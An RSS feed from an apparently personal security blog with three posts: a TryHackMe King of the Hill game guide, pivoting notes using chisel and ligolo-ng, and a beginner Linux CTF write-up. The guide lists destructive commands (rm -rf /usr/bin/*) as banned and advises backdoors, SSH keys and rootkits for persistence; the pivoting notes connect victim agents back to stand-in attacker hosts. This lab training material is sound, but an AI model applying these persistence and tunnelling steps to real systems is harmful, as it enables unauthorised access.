<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[holmesphere]]></title><description><![CDATA[“When you learn the art of learning, nothing is out of scope” 
  
I make and break things, spend most of my time either reading novels or crawling terminals.]]></description><link>https://mrholmes.in</link><generator>RSS for Node</generator><lastBuildDate>Tue, 14 Apr 2026 01:41:53 GMT</lastBuildDate><atom:link href="https://mrholmes.in/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[King of the Hill - TryHackMe]]></title><description><![CDATA[What is King of the Hill?
(A very, very small summary)

King of the Hill is a competitive hacking game, where you play against 10 other hackers to compromise a machine and then patch its vulnerabilities to stop other players from also gaining access....]]></description><link>https://mrholmes.in/king-of-the-hill-tryhackme</link><guid isPermaLink="true">https://mrholmes.in/king-of-the-hill-tryhackme</guid><category><![CDATA[tryhackme]]></category><dc:creator><![CDATA[Hardeep Singh]]></dc:creator><pubDate>Wed, 15 Mar 2023 04:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1695682689781/2dc5a328-c280-42e2-b723-2c357dfa9422.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-is-king-of-the-hill">What is King of the Hill?</h2>
<p>(A very, very small summary)</p>
<blockquote>
<p><a target="_blank" href="https://blog.tryhackme.com/hack-with-your-friends-to-become-king-of-the-hill/">King of the Hill</a> is a competitive hacking game, where you play against 10 other hackers to compromise a machine and then patch its vulnerabilities to stop other players from also gaining access. The longer you maintain your access, the more points you get.</p>
</blockquote>
<p>Before we dive into what we can do and how we can fight in the game with other players, we should clear some boundaries on what should <strong>not</strong> be done in this, otherwise with a root shell, the scope is limitless.</p>
<h2 id="heading-how-not-to-play-king-of-the-hill">How not to play King of the Hill?</h2>
<p><em>This is a gentleman's game and should be played like one.</em></p>
<p>First, you should read KoTH rules: <a target="_blank" href="https://tryhackme.com/games/koth">https://tryhackme.com/games/koth</a></p>
<h3 id="heading-heres-a-detailed-explanation-of-the-rules-and-boundaries-regarding-the-rules-mentioned-above">Here's a detailed explanation of the rules and boundaries regarding the rules mentioned above:</h3>
<p><strong>Service Port 9999:</strong></p>
<p>There is one thing common to every KoTH machine and that is, port 9999, which is running king service, so you are not supposed to stop/alter that service or close the port itself.</p>
<p><strong>Machine Resets:</strong></p>
<p>There is an option available to reset the box and that should only be used when the machine is broken, <strong>not</strong> when it's patched. When you face a dead end, you should try looking for other possible options instead of voting to reset the box.</p>
<p><strong>Flags:</strong></p>
<p>You should not alter, remove or replace flags from the machine as it's totally against the rules.</p>
<p><strong>Patching:</strong></p>
<p>While patching, you should not completely delete a whole web server, but instead, try looking for a method to patch it. There's no vulnerability that can't be patched. Stuff like shifting the service to another port is allowed.</p>
<p>You should not do things like: <code>rm -rf /usr/bin/</code>* or <code>chmod 700 /usr/bin/*</code>  as it will make it impossible for other users to use simple commands or even interact with the box using their shell. As that essentially made the machine unavailable for them.</p>
<p>You should not use autopwns (Or Any sort of script that automatically hack/harden the box) as that really will defy the purpose of the game. Scripted autopwns that root a box from start to finish are banned from public games. Go wild in private games with your friends.</p>
<p>You shouldn't use scripts to automatically kill other people's shells. Killing shells is allowed, but it shouldn't be abused.</p>
<ul>
<li><code>Remember its not a fight if there is no one in the ring.</code></li>
</ul>
<p>Try to patch the ways others are getting the shells instead of just spamming kill command.</p>
<p>Speaking of which, you can always use urandom or my personal favorite: <a target="_blank" href="https://github.com/klange/nyancat?ref=blog.tryhackme.com">Nyancat</a> that would be more fun, too, instead of just killing the shell.</p>
<p>Or, if you want to be more cheeky, try to find a way to make them play Tetris.</p>
<p><strong>Persistence:</strong></p>
<ul>
<li>You are allowed to use rootkits. But as implied by the rules, while planting rootkits, make sure you do not break the machine or make it unusable for everyone but you.</li>
</ul>
<p>If you think anyone breaking any of the above rules or the ones mentioned on the site's rules page, you can report them at <a target="_blank" href="mailto:koth@tryhackme.com">koth@tryhackme.com</a> or let koth-staff know in the discord. If possible, share the game link and username of the person breaking the rules.</p>
<h1 id="heading-how-to-play-king-of-the-hill">How to play King of the Hill?</h1>
<p>We start this machine like every other box/machine on TryHackMe, we get an IP, and we enumerate it. If you are playing king of the hill, then it is obvious that you are on intermediate level on TryHackMe because this is for players with some experience in solving/hacking boxes, if you are new, we'd advise you to <strong>NOT</strong> play this and solve some basic boxes first. You can refer to this blog post that is by Bee (TryHackMe Moderator), Link: <a target="_blank" href="https://blog.tryhackme.com/free_path/">https://blog.tryhackme.com/free_path/</a></p>
<p>Now, we get an IP address, and we get a timer, our goal is to get a root shell on this IP address before other players in your game do and the timer ends. Now, we know how to hack, but we need to know how to hack fast. We are not the best at this, but the following are a few things that you can use that will (<em>maybe</em>) speed you up than others.</p>
<h3 id="heading-in-place-of-using-nmap-using-rustscan">In place of using nmap, Using Rustscan.</h3>
<p>This thing is ridiculously fast, you can speed it up if you give its documentation a read and make a config file that suits your system.</p>
<p>(<em>P.S. This is also made by Bee, and this thing can go as fast as scanning all, 65535 ports in one second.</em>)</p>
<p>Using custom wordlists:</p>
<p>Do you know there are 2 wordlists named big.txt? One in SecLists (If you don't know about this, then minimize this article and google.) and one in dirbuster? But what if you combine them and make one wordlists, with unique-ed out directories in alphabetical order?</p>
<h3 id="heading-the-most-important-of-them-all-taking-notes">The most important of them all, Taking Notes:</h3>
<p>You can use (any note-taking app you like) Notion, make folders of machines, log the commands you used to get into machines, these small things will save your time the next time you face the same machine.</p>
<h3 id="heading-do-not-use-msfconsole-this-is-my-opinion">Do NOT use msfconsole: (This is my opinion)</h3>
<p>The entire aim of this is to learn stuff, but if you are always just searching in msfconsole and using it to get shells, well, that defeats the purpose.</p>
<p>Speaking in terms of speed, It'll take you longer to find the same vulnerability in Metasploit and run it than it will take you to directly run the exploit file that you saved from the last time you faced the same machine. (Makes sense now? Yeah.)</p>
<h3 id="heading-know-your-tools">Know your tools:</h3>
<p>Simple tips for tools that might speed you up:</p>
<p><strong>Hydra</strong>: Use <code>-t</code> to increase the number of threads, hence increasing your chances to get password before others do. The highest stable that we know of is 64; however, this can vary by service.</p>
<p><strong>Gobuster</strong>: <em>This is for game purposes only</em>, use <code>-t</code> with high values, We have used <code>-t 100</code> and it worked just fine. Just don't do that against a real machine, that will really hammer the server.</p>
<p><strong>Rustscan</strong>: Already mentioned above. Read about it and make a config file that suits your system.</p>
<p><strong>Kali Browser Machine</strong>: If you are looking for even faster speed, you can use THM kali browser machine for your scans as it would be multiple times faster. This eliminates any overhead from using the VPN connection.</p>
<p><a target="_blank" href="https://github.com/calebstewart/pwncat?ref=blog.tryhackme.com"><strong>Pwncat</strong></a><strong>: (</strong>Using GOD of reverse shells<strong>)</strong></p>
<p>(From its GitHub page)</p>
<blockquote>
<p>pwncat is a post-exploitation platform for Linux targets. It started out as a wrapper around basic bind and reverse shells and has grown from there. It streamlines common red team operations while staging code from your attacker machine, not the target.</p>
</blockquote>
<p>Though, we suggest using Pwncat, but only for reverse shell handling and doing quick persistence etc. As of now, other features of this tool are, auto-enumeration and backdoor planting. (Read more on their <a target="_blank" href="https://github.com/calebstewart/pwncat?ref=blog.tryhackme.com">GitHub</a>.)</p>
<h3 id="heading-owning-kingtxt-file">Owning king.txt file:</h3>
<h3 id="heading-chattr">chattr:</h3>
<p>If you give the manual page of chattr binary a read, you'll see that it can set immutable flags on files. That means, even root cannot make mutations in the file without removing that immutable bit.</p>
<p><code>chattr +i /root/king.txt</code></p>
<p>This is used by many players to make that king file immutable and hence persisting their name in that file.</p>
<p>To get the upper hand in game, use another bit, 'append-able' on king.txt. This bit makes the file append-able only, and since most of the players 'write' in the file and not append; hence they can't modify the file even though they removed the immutable bit.</p>
<p>(How to add that bit? Research. <code>man chattr</code>)</p>
<p>Now, almost always, whoever uses the chattr binary first, either deletes it (foolish move) or hides it somewhere.</p>
<p>Once that's done, you don't have much choice but to either upload your binary or hope that no one deleted busy box from the machine. (<em>what's busy box? GOOGLE</em>!)</p>
<p>Make sure you upload statically linked binaries. (<em>reason? GOOGLE</em>!)</p>
<p>Here's the link to download static binaries to upload: <a target="_blank" href="https://busybox.net/downloads/binaries/1.31.0-i686-uclibc/">https://busybox.net/downloads/binaries/1.31.0-i686-uclibc/</a></p>
<p>Just upload them onto the box using <code>wget</code>, <code>curl</code>,  <code>nc</code> or any other method. We would suggest not using the default location for your binaries but hiding them in different places.</p>
<p>Now it's on you how you use it, try finding a way to run it in a loop?</p>
<h3 id="heading-clobber">clobber? :</h3>
<p>Now, this is a tricky bit, here, you can set the environment variable setting of root user to prevent overwriting in the files.</p>
<p>Hence, the word clobber, This means that the user cannot add anything to any file using <code>&gt;</code> operator.</p>
<p>Although this doesn't stop many players, this is hard to figure out and chances are they won't realize what's wrong if they don't know about this.</p>
<p>The basic command is <code>set -o noclobber</code></p>
<p>But this will only be effective in current shell, so to make it persistent across the entire machine, add this to bashrc of root and source that.</p>
<h2 id="heading-persistence">Persistence:</h2>
<h3 id="heading-backdoorsbind-shells">Backdoors/Bind Shells:</h3>
<p>As soon as you get the root shell on machine, add some reverse shells and/or bind shells in the machine, so that even if you get kicked out, which you will, you can always get back in.</p>
<p>(Make your own in whichever language you like, or you know, google.)</p>
<p>Make copies of SUID binaries, even though they are easy to find, but can sometimes save get you a root shell from www-data.</p>
<h3 id="heading-ssh-authkey">SSH AuthKey:</h3>
<p>You can always put your ssh keys on to the user/root authorized_keys. So you can always ssh in using them.</p>
<blockquote>
<p>You can use <code>ssh -t</code> to hide your session from tty.</p>
</blockquote>
<h3 id="heading-defending">Defending:</h3>
<p>First things first, if they can't get in, you don't need to kick them out.</p>
<p>So, start by patching stuff on the box. Patch security issues, not legitimate services. For example, disabling ssh is not allowed unless it's a purposefully broken ssh installation.</p>
<p>Patch the path you get in from right after you make a backdoor.</p>
<p>You can use different commands like <code>w</code>, <code>who</code>, <code>ps aux | grep pts</code> to see who else is on the system so far.</p>
<p>Look for the most common possible ways to patch a box i.e: changing ssh keys, changing passwords, look for the processes running or give cronjobs a look?</p>
<p>Always set your persistence so even if someone kicks you out, you have ways to get back in.</p>
<p>A few links that can come in handy:</p>
<p><a target="_blank" href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></p>
<p><a target="_blank" href="https://gtfobins.github.io/">https://gtfobins.github.io/</a></p>
<p><a target="_blank" href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></p>
]]></content:encoded></item><item><title><![CDATA[A shallow guide on Pivoting]]></title><description><![CDATA[These are my personal notes that I made during my OSCP prep and later while solving Offshore labs by HackTheBox. They are supposed to be in very layman terms and are written so I can understand without deep jargon what I need to do.  
Chisel:Situatio...]]></description><link>https://mrholmes.in/a-shallow-guide-on-pivoting</link><guid isPermaLink="true">https://mrholmes.in/a-shallow-guide-on-pivoting</guid><dc:creator><![CDATA[Hardeep Singh]]></dc:creator><pubDate>Wed, 08 Feb 2023 05:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/pjyovKCKhSA/upload/568f88947fdad0318b2d7ca4028d8ad8.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>These are my personal notes that I made during my OSCP prep and later while solving Offshore labs by HackTheBox. They are supposed to be in very layman terms and are written so I can understand without deep jargon what I need to do.  </p>
<p>Chisel:<br />Situation: Reverse Pivot</p>
<p>When you want to check/ping some port on target machine's internal network:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Your machine attacker.local</span>
chisel server -p 8000 -reverse
<span class="hljs-comment"># Client client.target, internal.target:port</span>
chisel client attacker.local:8000 R:8001:internal.target:port
<span class="hljs-comment"># ^ this will open a port 8001 on attacker.local and</span>
<span class="hljs-comment"># that will be basically copy of internal.target:port in layman terms</span>
</code></pre>
<h4 id="heading-situation-local-pivot">Situation: Local Pivot</h4>
<p>When we want target machine to send any incoming traffic on one of it's newly opened ports to one of our ports. This can be used to tunnel a reverse shell from: somewhere inside the target network --&gt; original target --&gt; tunnel --&gt; our attacker machine.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Your machine attacker.local</span>
chisel server -p 8000
<span class="hljs-comment"># Client client.target</span>
chisel client attacker.local:8000 9001:127.0.0.1:8001
 <span class="hljs-comment">#                                               ^^^^ New port to be opened in attacker</span>
 <span class="hljs-comment">#                                     ^^^^^^^^^ localhost of client.target</span>
 <span class="hljs-comment">#                                ^^^^ New port to be opened on client.target</span>
</code></pre>
<p>Can also be used to access specific service on either side of the network by replacing the values as shown in the picture above.</p>
<h4 id="heading-situation-reverse-socks">Situation: Reverse SOCKS</h4>
<p>This is when you want to scale everything we did above, so you don't have to create a new tunnel every time you want to test another port. For example, if you were to check port 8080, and created a simple tunnel from the above methods, and now want to check port 80, you'll have to go back and create a new tunnel. This method nests chisel in chisel makes a client and server on both sides, over SOCKS proxy.<br />We then use proxychains to use connect to the tunnel and use whatever tool we want.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># On machine attacker.local</span>
chisel server -p 8000 -reverse

<span class="hljs-comment"># On client.target</span>
chisel client attacker.local:8000 R:8001:127.0.0.1:1337
<span class="hljs-comment">#                                                  ^^^^ Port on target that will connect to nested chisel </span>
<span class="hljs-comment">#                                         ^^^^^^^^^ Localhost of client.target </span>
<span class="hljs-comment">#                                    ^^^^ New port that you will use on attacker</span>
chisel server -p 1337 --socks5
<span class="hljs-comment">#                ^^^^ the same port that we opened in client command</span>

<span class="hljs-comment"># On machine attacker.local</span>
chisel client 127.0.0.1:8001 socks
<span class="hljs-comment">#             ^^^^^^^^^^^^^^ Standard listener to connect via socks to clisel server on target</span>
</code></pre>
<h3 id="heading-ligolo-ng">Ligolo-ng</h3>
<p>This is basically reverse SOCKS proxy, but 10 times better.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Prepping attacker machine for ligolo:</span>
sudo ip tuntap add user root mode tun ligolo
sudo ip link <span class="hljs-built_in">set</span> ligolo up
sudo ip route add 172.16.2.0/24 dev ligolo
<span class="hljs-comment">#                  ^^^^^^^^^^^^ subnet that you need to tunnel to yours.</span>

<span class="hljs-comment"># On Attacker machine:</span>
sudo ./proxy -selfcert
<span class="hljs-comment"># Note the port from the output of the above command - default  11601</span>

<span class="hljs-comment"># On Victim machine:</span>
<span class="hljs-comment"># Upload agent.exe to target</span>
./agent.exe -connect ATTACKER.IP:&lt;PORT FROM PROXY COMMAND&gt; -ignore-cert

<span class="hljs-comment"># Back on attacker machine, a session will open up, just select that session and type start.</span>
</code></pre>
<p>All of these are heavily inspired by the video Ippsec made and released years ago, on HTB box called Reddish. You can find it <a target="_blank" href="https://www.youtube.com/watch?v=Yp4oxoQIBAM">here</a>.</p>
]]></content:encoded></item><item><title><![CDATA[CyberYami CTF - LINUX WARRIOR - Write-up]]></title><description><![CDATA[This CTF was hosted by Cyberyami team powered by wissenhive E-learning.In this 12 hr long CTF, I got Rank 2. 

Link - Here
Here's the list of challenges I faced and was able to solve, 38/40. 
List of challenges:
The challenges had no names and only n...]]></description><link>https://mrholmes.in/cyberyami-ctf-linux-warrior-write-up</link><guid isPermaLink="true">https://mrholmes.in/cyberyami-ctf-linux-warrior-write-up</guid><dc:creator><![CDATA[Hardeep Singh]]></dc:creator><pubDate>Sun, 13 Mar 2022 23:21:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1647172648301/7ne_AHS_9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This CTF was hosted by <a target="_blank" href="https://ctf.cyberyami.com/">Cyberyami team</a> powered by wissenhive E-learning.<br />In this 12 hr long CTF, I got Rank 2. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647177507020/qjF7w9kqB.png" alt="image.png" />
Link - <a target="_blank" href="https://ctf.cyberyami.com/scoreboard">Here</a>
Here's the list of challenges I faced and was able to solve, 38/40. </p>
<h3 id="heading-list-of-challenges">List of challenges:</h3>
<p>The challenges had no names and only numbers, so I'll be using numbers [1-40] to refer to them.<br />I’ve used Kali Linux standard VM to solve these challenges. As this was a linux based CTF, connecting to ssh over linux is more breeze-y then windows. (duh PuTTY!)</p>
<hr />
<h3 id="heading-challenge-1">Challenge 1:</h3>
<p>The challenge description had 2 parts:</p>
<ul>
<li>IP: PORT format of server information</li>
<li>Username and password to connect to it.</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647181043574/dnaRsBjBH.png" alt="image.png" /></p>
<p>We simply connect to the server with<br /><code>ssh  chall1@3.110.44.235 -p 2221</code><br /><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647181193398/y_DEC7g5m.png" alt="image.png" /></p>
<p>For the first challenge, I am going to explain in detail on how to connect to ssh and what is everything, after this, we’ll be going more comprised. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647181300516/nLe2NJcX2.png" alt="image.png" /></p>
<p>This was fairly simple, the file was hidden file. <code>ls -a</code> showed it up.</p>
<h3 id="heading-challenge-2">Challenge 2</h3>
<p>Next challenge was interesting, you had to login similarly, but you can’t see any file with  content in it. There about 10-20 files with names p4nth3r[a-z], but all of them empty. 
But if we look closely, <code>ls -la</code> we can see that there is a file called <code>-</code> a hyphen, that is a special character. 
So we need to do character escaping to solve this.  But I just lazed out and did it with python. As shown in screenshot. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647210287354/mbW8BgKIS.png" alt="image.png" /></p>
<h3 id="heading-challenge-3">Challenge 3:</h3>
<p>This challenge probably required a specific method to solve, but again, I found 2 methods that gave me flag without needed to research anything. 
One was simply <code>grep -r WHL</code> as this is constant in flag, <code>-r</code> will keep grep recursive. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647210465367/W-O9FU4eM.png" alt="image.png" /></p>
<h3 id="heading-challenge-4">Challenge 4:</h3>
<p>Being a fan of Daedalus and Labyrinth, this challenge as special.
Again, there may have been some offical method to do this, but  I just found 2 ways to solve it. </p>
<ol>
<li><p>By using <code>grep -r</code>. </p>
</li>
<li><p>By using <code>find</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647210693884/a4rPz4iVe.png" alt="image.png" /></p>
</li>
</ol>
<p><img src="/home/holmes/.config/Typora/typora-user-images/image-20220314040154810.png" alt="image-20220314040154810" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647210852571/E7fanu5_Z.png" alt="image.png" /></p>
<p>And that’s how I found this flag.</p>
<h3 id="heading-challenge-5">Challenge 5:</h3>
<p>From here onwards, I’ll be going even more comprised for solutions.
In this home directory of chall5, we only had one folder and that had a ton of chunky files.<br />But doing a <code>ls -Sla</code> lists the files sorted according to file size, and we can see a different file with 26 file size. 
We read that, and boom, flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647212158874/vgRE9yKEs.png" alt="image.png" /></p>
<p>Again, this challenge was also solvable using <code>grep -r WHL</code>. </p>
<h3 id="heading-challenge-6">Challenge 6:</h3>
<p>This challenge was about a binary file in home folder, you had to execute it to get the flag, but we are not allowed to change the permissions of the file in home directory, so I made a copy of original to <code>/tmp/hell-holmes</code> and then changed it’s permissions, and moreover, it ran and gave the flag.<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647212333807/sI5NRopjf.png" alt="image.png" /></p>
<h3 id="heading-challenge-7">Challenge 7:</h3>
<p>This challenge was about unzipping a file present in <code>~/chall/data</code> , upon checking the file for  headers using <code>file</code> it showed it’s a zip file.
but if you cat/read it normally, you can see the flag. </p>
<p>One more method that I tried was, copying the file over to your machine, like I did screenshot. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1647212548292/hxU5SiSAL.png" alt="image.png" /></p>
<h3 id="heading-challenge-8">Challenge 8:</h3>
<p>-- I am just super lazy and will add the remaining solutions here in next 12 hrs or so.</p>
]]></content:encoded></item></channel></rss>